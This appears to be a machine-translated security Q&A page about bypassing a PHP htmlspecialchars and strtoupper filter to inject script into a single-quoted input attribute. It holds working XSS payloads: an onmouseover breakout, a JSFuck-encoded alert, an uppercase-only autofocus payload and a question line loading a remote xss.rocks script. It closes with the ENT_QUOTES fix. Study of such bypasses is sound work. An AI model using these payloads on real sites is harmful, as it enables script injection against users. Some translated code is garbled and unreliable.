web-dev-qa-db-fra.com

Contournement XSS strtoupper & htmlspecialchars

J'ai cherché un peu de pentesting mais ce qui suit m'échappe, je pense que je l'ai, mais je ne peux pas le déclencher!

Essayer de contourner les éléments suivants:

$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";

Jusqu'à présent, j'ai essayé:

test-xss.php?id=%27%20onload=%27javascript:alert(`XSS`)

Cela ne fonctionne pas car la fonction d'alerte est remplacée par des majuscules et une erreur est donc générée dans la console. J'ai également essayé de coder l'ensemble des paramètres de demande.

test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x

et cela ne semble pas vouloir fonctionner parce que même si les <> sont encodés, ils semblent toujours sortir sous la forme & lt; et & gt;

Peut-être que seule l'attaque est un jeu de caractères UTF-7?

Des idées?

9
geekscrap

Votre paramètre $ID Est imprimé dans une valeur d'attribut de balise HTML. Malheureusement, il est exécuté par htmlspecialchars() qui est censé coder les caractères significatifs HTML. Étant donné que la fonction n'a pas le drapeau ENT_QUOTES Définie, elle s'échappera <, >, &, ", Mais pas ' (Guillemets simples). Heureusement pour vous, la valeur est entourée de guillemets simples, vous pouvez donc utiliser ' Pour sortir de l'attribut.

Ensuite, vous voudriez fermer la balise et en commencer une nouvelle (par exemple <script>) Mais htmlspecialchars() ne vous laisse pas (car elle échappe > Et <). Donc, à la place, vous devez utiliser un gestionnaire d'événements qui fonctionne pour les balises <input>. Le gestionnaire d'événements onload ne s'applique pas aux zones de saisie mais vous pouvez en utiliser d'autres, par exemple onmouseover. (L'effet secondaire est que vous aurez besoin d'une interaction utilisateur minimale pour déclencher le XSS, ou devez tirer parti d'attributs supplémentaires comme autofocus pour le déclencher immédiatement au chargement de la page.)

Nous avons donc ceci:

<type d'entrée = 'texte' valeur = ''onmouseover =' (charge utile javascript)'> 
 | -------------- $ ID ----------- 

Maintenant, vous ne pouvez pas simplement utiliser du JS simple comme alert(1) comme charge utile puisque la valeur passe également par --- (strtoupper() qui mettrait le nom de la fonction en ALERT(1) qui n'est pas valide. Au lieu de cela, vous devez trouver du code JS qui fonctionne uniquement avec des majuscules, ou mieux encore, sans aucune lettre. Pour cela, vous pouvez utiliser un outil comme JSFuck qui traduit tout code JS en une représentation équivalente sans aucune lettre.

Par exemple, alert(1) devient:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

Donc, ce serait un PoC XSS fonctionnel:

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

Si l'utilisation de JSFuck n'est pas pratique pour vous (par exemple en raison de restrictions de longueur d'URL comme l'a fait remarquer @chefarov), il existe d'autres techniques qui fonctionnent sans lettres minuscules. Par exemple, la valeur d'attribut peut être entièrement mise sous forme d'entités HTML afin que le a de alert soit écrit comme &#X61; Et ainsi de suite. (Dans votre scénario spécifique, vous ne pouvez pas utiliser ceci car htmlspecialchars() échapperait également à tout &.)

Cependant, voici un PoC d'une charge utile plus courte qui évite les lettres minuscules:

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//

(Je suis essentiellement en train d'assembler Function(eval(decodeURI(...))) sans lettres minuscules et je peux ensuite l'alimenter en URL codée (par exemple a => %61) Qui ne nécessite jamais de lettres minuscules. )


Le correctif

Vous devez encoder les guillemets doubles et simples en ajoutant le drapeau ENT_QUOTES:

 $ NEWID = strtoupper (htmlspecialchars ($ ID, ENT_QUOTES));
13
Arminius